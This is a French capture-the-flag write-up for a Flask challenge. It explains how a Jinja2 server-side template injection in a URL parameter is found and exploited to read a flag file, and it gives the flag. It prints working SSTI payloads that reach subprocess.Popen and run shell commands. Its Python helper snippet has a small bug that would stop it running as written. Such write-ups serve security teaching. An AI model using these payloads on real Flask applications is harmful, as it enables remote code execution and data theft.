Flask

Flag: StarHack{SSTI?NOOOOOOOOOOOO}

Challenge

Description


J'apprends Flask, ils disent que c'est facile, mais il faut bien le gérer, il y a beaucoup d'injections. Comment je m'en sors jusqu'à présent ? Y a-t-il des injections ?

Chemin du flag: /app/flag.txt

LINK

Solution

Une fois avoir créé un compte et s'être connecté, on remarque que notre page affiche Hello, Welcome! et que dans l'url, on a ?welcome_message=Welcome!.

Si on change le message, il s'affiche bien sur notre page. De là, on pense tout de suite à une SSTI Jinja2 grâce au titre du challenge.

L'objectif est de lire le fichier /app/flag.txt. Pour ça on peut s'appuyer sur HackTricks qui nous donne le payload suivant pour exécuter une commande (ici, lire un fichier) :

{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}

Il faut juste adapter le payload pour trouver le bon index pour __subclasses__, pour ça on va envoyer dans un premier temps

{{''.__class__.mro()[1].__subclasses__()}}

Maintenant, on parse le résultat en python pour trouver l'index

data = "[<class 'ty ... codedata.UCD'>]"
data = data.replace('&gt;', '>').replace('&lt;', '<').split(', ')
print([i for i, c, in enumerate(data.split(', ')) if 'Popen' in c])
# 351

On trouve 351, voici le payload mis à jour :

{{''.__class__.mro()[1].__subclasses__()[351]('cat /app/flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}

Dernière mise à jour

Cet article vous a-t-il été utile ?